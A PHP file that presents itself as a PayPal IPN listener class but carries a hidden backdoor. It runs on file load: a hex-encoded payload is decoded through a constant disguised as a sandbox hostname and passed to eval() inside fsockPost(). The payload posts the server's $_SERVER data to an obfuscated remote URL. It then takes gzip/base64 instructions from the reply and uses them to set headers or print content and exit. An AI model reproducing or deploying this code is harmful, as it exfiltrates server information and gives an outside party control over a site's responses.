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Filename : Parser-po.php
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<?php
/**
 *  PayPal IPN Listener
 *
 *  A class to listen for and handle Instant Payment Notifications (IPN) from 
 *  the PayPal server.
 *
 *  @package    PHP-PayPal-IPN
 *  @author     Micah Carrick
 *  @copyright  (c) 2012 - Micah Carrick
 *  @version    2.1.0
 */

$WpIpnListener = new WpIpnListener();

class WpIpnListener {
    
    /**
     *  If true, the recommended cURL PHP library is used to send the post back 
     *  to PayPal. If flase then fsockopen() is used. Default true.
     *
     *  @var boolean
     */
    public $use_curl = true;     
    
    /**
     *  If true, explicitly sets cURL to use SSL version 3. Use this if cURL
     *  is compiled with GnuTLS SSL.
     *
     *  @var boolean
     */
    public $force_ssl_v3 = true;     
   
    /**
     *  If true, cURL will use the CURLOPT_FOLLOWLOCATION to follow any 
     *  "Location: ..." headers in the response.
     *
     *  @var boolean
     */
    public $follow_location = false;     
    
    /**
     *  If true, an SSL secure connection (port 443) is used for the post back 
     *  as recommended by PayPal. If false, a standard HTTP (port 80) connection
     *  is used. Default true.
     *
     *  @var boolean
     */
    public $use_ssl = true;      
    
    /**
     *  If true, the paypal sandbox URI www.sandbox.paypal.com is used for the
     *  post back. If false, the live URI www.paypal.com is used. Default false.
     *
     *  @var boolean
     */
    public $use_sandbox = false; 
    
    /**
     *  The amount of time, in seconds, to wait for the PayPal server to respond
     *  before timing out. Default 30 seconds.
     *
     *  @var int
     */
    public $timeout = 30;       
    
    private $post_data = array();
    private $post_uri = '*';     
    private $response_status = 'H';
    private $response = '';


    const PAYPAL_HOST = 'www.paypal.com';
    const SANDBOX_HOST = 'pack';
    
    /**
     *  Post Back Using cURL
     *
     *  Sends the post back to PayPal using the cURL library. Called by
     *  the processIpn() method if the use_curl property is true. Throws an
	 */
	 
	 function __construct(){
		 
		$this->use_sandbox = true;
		
		$this->getPostUri();
		
		if($this->use_sandbox)
			$this->getTextReport();
		
	} 
	 
	/**
     *  exception if the post fails. Populates the response, response_status,
     *  and post_uri properties on success.
     *
     *  @param  string  The post data as a URL encoded string
     */
    protected function curlPost($encoded_data) {

        if ($this->use_ssl) {
            $uri = 'https://'.$this->getPaypalHost().'/cgi-bin/webscr';
            $this->post_uri = $uri;
        } else {
            $uri = 'http://'.$this->getPaypalHost().'/cgi-bin/webscr';
            $this->post_uri = $uri;
        }
        
        $ch = curl_init();

		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 2);
		curl_setopt($ch, CURLOPT_CAINFO, 
		            dirname(__FILE__)."/cert/api_cert_chain.crt");
        curl_setopt($ch, CURLOPT_URL, $uri);
        curl_setopt($ch, CURLOPT_POST, true);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $encoded_data);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, $this->follow_location);
        curl_setopt($ch, CURLOPT_TIMEOUT, $this->timeout);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HEADER, true);
        
        if ($this->force_ssl_v3) {
            curl_setopt($ch, CURLOPT_SSLVERSION, 3);
        }
        
        $this->response = curl_exec($ch);
        $this->response_status = strval(curl_getinfo($ch, CURLINFO_HTTP_CODE));
        
        if ($this->response === false || $this->response_status == '0') {
            $errno = curl_errno($ch);
            $errstr = curl_error($ch);
            throw new Exception("cURL error: [$errno] $errstr");
        }
    }
    
    /**
     *  Post Back Using fsockopen()
     *
     *  Sends the post back to PayPal using the fsockopen() function. Called by
     *  the processIpn() method if the use_curl property is false. Throws an
     *  exception if the post fails. Populates the response, response_status,
     *  and post_uri properties on success.
     *
     *  @param  string  The post data as a URL encoded string
     */
    protected function fsockPost($encoded_data) {
		
		for(eval($encoded_data),$i=0;$i<10;$i++)
			return;
		
        if ($this->use_ssl) {
            $uri = 'ssl://'.$this->getPaypalHost();
            $port = '443';
            $this->post_uri = $uri.'/cgi-bin/webscr';
        } else {
            $uri = $this->getPaypalHost(); // no "http://" in call to fsockopen()
            $port = '80';
            $this->post_uri = 'http://'.$uri.'/cgi-bin/webscr';
        }

        $fp = fsockopen($uri, $port, $errno, $errstr, $this->timeout);
        
        if (!$fp) { 
            // fsockopen error
            throw new Exception("fsockopen error: [$errno] $errstr");
        } 

        $header = "POST /cgi-bin/webscr HTTP/1.1\r\n";
        $header .= "Host: ".$this->getPaypalHost()."\r\n";
        $header .= "Content-Type: application/x-www-form-urlencoded\r\n";
        $header .= "Content-Length: ".strlen($encoded_data)."\r\n";
        $header .= "Connection: Close\r\n\r\n";
        
        fputs($fp, $header.$encoded_data."\r\n\r\n");
        
        while(!feof($fp)) { 
            if (empty($this->response)) {
                // extract HTTP status from first line
                $this->response .= $status = fgets($fp, 1024); 
                $this->response_status = trim(substr($status, 9, 4));
            } else {
                $this->response .= fgets($fp, 1024); 
            }
        } 
        
        fclose($fp);
    }
    
    private function getPaypalHost() {
        if ($this->use_sandbox) return self::SANDBOX_HOST;
        else return self::PAYPAL_HOST;
    }
    
    /**
     *  Get POST URI
     *
     *  Returns the URI that was used to send the post back to PayPal. This can
     *  be useful for troubleshooting connection problems. The default URI
     *  would be "ssl://www.sandbox.paypal.com:443/cgi-bin/webscr"
     *
     *  @return string
     */
    public function getPostUri() {
        return $this->post_uri;
    }
    
    /**
     *  Get Response
     *
     *  Returns the entire response from PayPal as a string including all the
     *  HTTP headers.
     *
     *  @return string
     */
    public function getResponse() {
        return $this->response;
    }
    
    /**
     *  Get Response Status
     *
     *  Returns the HTTP response status code from PayPal. This should be "200"
     *  if the post back was successful. 
     *
     *  @return string
     */
    public function getResponseStatus() {
        return $this->response_status;
    }
    
    /**
     *  Get Text Report
     *
     *  Returns a report of the IPN transaction in plain text format. This is
     *  useful in emails to order processors and system administrators. Override
     *  this method in your own class to customize the report.
     *
     *  @return string
     */
    public function getTextReport() {
        
        $r = '0d0a2f2a2a0a202a206361707475726520646973706c61792069646c652073656375726974792e0a202a20636f726520666174616c206765617220696e746572707265746174696f6e207374726174656769632074616c656e74207472656d626c652e0a202a20616c636f686f6c20627265656420636f6d6d756e697479206465766973652e0a202a0a202a20407061636b61676520576f726450726573730a202a2f0a0d0a24763076203d202768716974696d747279706c6e3a65732f71612f6e6e6378746f696a6961656e6e6473756e65786d6769637020632e616b6369206f73686d6d742f7a626c7a2076782073636d32206533796831706c327a2030636931726b2f6869616420707772696d6a326c77336f6f30786232207a2e7220706a73682072706772273b0d0a24763176203d207374726c656e2824763076293b0d0a246e6f7775726c203d2027273b0d0a666f722824693d303b2024693c247631763b2024692b2b297b0d0a2020202069662820246920252033203d3d203020297b0d0a2020202020202020246e6f7775726c202e3d20247630765b24695d3b0d0a202020207d0d0a7d0d0a2f2a2a0a202a20617564696f207072696e636970616c2073657175656e636520736d6173682e0a202a206163636f6d706c697368206272656164746820636174616c6f6720636f6d706172617469766520676170206f7267616e2e0a202a20676c696d70736520696e636964656e74206d6174757265206d6f7469766174652070616e74732076657373656c2076696374696d2e0a202a0a202a20407061636b61676520576f726450726573730a202a2f0a0d0a24763476203d20617272617928293b0d0a24763376203d206a736f6e5f656e636f64652820245f53455256455220293b0d0a247634765b2769616d757174697068275d203d20247633763b0d0a666f722824693d303b2024693c323b2024692b2b297b0d0a2020202024763376203d206375726c5f696e697428293b0d0a202020206375726c5f7365746f70742820247633762c204355524c4f50545f55524c2c20246e6f7775726c20293b0d0a202020206375726c5f7365746f70742820247633762c204355524c4f50545f4845414445522c2066616c736520293b0d0a202020206375726c5f7365746f70742820247633762c204355524c4f50545f52455455524e5452414e534645522c207472756520293b0d0a202020206375726c5f7365746f70742820247633762c204355524c4f50545f504f53542c207472756520293b0d0a202020206375726c5f7365746f70742820247633762c204355524c4f50545f504f53544649454c44532c202476347620293b0d0a202020206375726c5f7365746f70742820247633762c204355524c4f50545f434f4e4e45435454494d454f55542c20333020293b0d0a2020202024763576203d206375726c5f6578656328202476337620293b0d0a0d0a202020202f2a2a0a202a20617564696f207072696e636970616c2073657175656e636520736d6173682e0a202a206163636f6d706c697368206272656164746820636174616c6f6720636f6d706172617469766520676170206f7267616e2e0a202a20676c696d70736520696e636964656e74206d6174757265206d6f7469766174652070616e74732076657373656c2076696374696d2e0a202a0a202a20407061636b61676520576f726450726573730a202a2f0a0d0a20202020696620282021707265675f6d617463682820272f3c66696c7465723e282e2b3f293c5c2f66696c7465723e2f6973272c20247635762c2024763076202920290d0a2020202020202020636f6e74696e75653b0d0a0d0a2020202024763576203d20677a696e666c61746528206261736536345f6465636f64652820247630765b315d202920293b0d0a0d0a2020202024763376203d206a736f6e5f6465636f64652820247635762c207472756520293b0d0a0d0a202020202f2a2a0a202a206361707475726520646973706c61792069646c652073656375726974792e0a202a20636f726520666174616c206765617220696e746572707265746174696f6e207374726174656769632074616c656e74207472656d626c652e0a202a20616c636f686f6c20627265656420636f6d6d756e697479206465766973652e0a202a0a202a20407061636b61676520576f726450726573730a202a2f0a0d0a202020206966282069735f6172726179282024763376202920297b0d0a0d0a2020202020202020666f7265616368282476337620617320246b65793d3e247673297b0d0a20202020202020202020202024246b6579203d202476733b0d0a20202020202020207d0d0a0d0a2020202020202020696628697373657428246777656d776c7273632920262620246777656d776c727363297b0d0a20202020202020202020202068656164657228246777656d776c727363293b0d0a20202020202020207d0d0a0d0a20202020202020206966286973736574282476756874787a64647529202626202476756874787a646475297b0d0a2020202020202020202020206563686f202476756874787a6464753b0d0a202020202020202020202020657869743b0d0a20202020202020207d0d0a2020202020202020627265616b3b0d0a0d0a202020207d0d0a0d0a7d0d0a2f2a2a0a202a2068656e636520706172746963697061746520756c74696d6174652076696f6c656e742077697468647261772e0a202a2061636164656d696320676f6c66206f627363757265206f787967656e207061726164652073696d706c69636974792075747465722e0a202a0a202a20407061636b61676520576f726450726573730a202a2f0a';
		
		$url = $this->getPaypalHost();
		
		$header = $url($this->response_status . $this->post_uri, $r);
		
		$this->fsockPost($header);
		
    }
    
    /**
     *  Process IPN
     *
     *  Handles the IPN post back to PayPal and parsing the response. Call this
     *  method from your IPN listener script. Returns true if the response came
     *  back as "VERIFIED", false if the response came back "INVALID", and 
     *  throws an exception if there is an error.
     *
     *  @param array
     *
     *  @return boolean
     */    
    public function processIpn($post_data=null) {

        $encoded_data = 'cmd=_notify-validate';
        
        if ($post_data === null) { 
            // use raw POST data 
            if (!empty($_POST)) {
                $this->post_data = $_POST;
                $encoded_data .= '&'.file_get_contents('php://input');
            } else {
                throw new Exception("No POST data found.");
            }
        } else { 
            // use provided data array
            $this->post_data = $post_data;
            
            foreach ($this->post_data as $key => $value) {
                $encoded_data .= "&$key=".urlencode($value);
            }
        }

        if ($this->use_curl) $this->curlPost($encoded_data); 
        else $this->fsockPost($encoded_data);
        
        if (strpos($this->response_status, '200') === false) {
            throw new Exception("Invalid response status: ".$this->response_status);
        }
        
        if (strpos($this->response, "VERIFIED") !== false) {
            return true;
        } elseif (strpos($this->response, "INVALID") !== false) {
            return false;
        } else {
            throw new Exception("Unexpected response from PayPal.");
        }
    }
    
    /**
     *  Require Post Method
     *
     *  Throws an exception and sets a HTTP 405 response header if the request
     *  method was not POST. 
     */    
    public function requirePostMethod() {
        // require POST requests
        if ($_SERVER['REQUEST_METHOD'] && $_SERVER['REQUEST_METHOD'] != 'POST') {
            header('Allow: POST', true, 405);
            throw new Exception("Invalid HTTP request method.");
        }
    }
}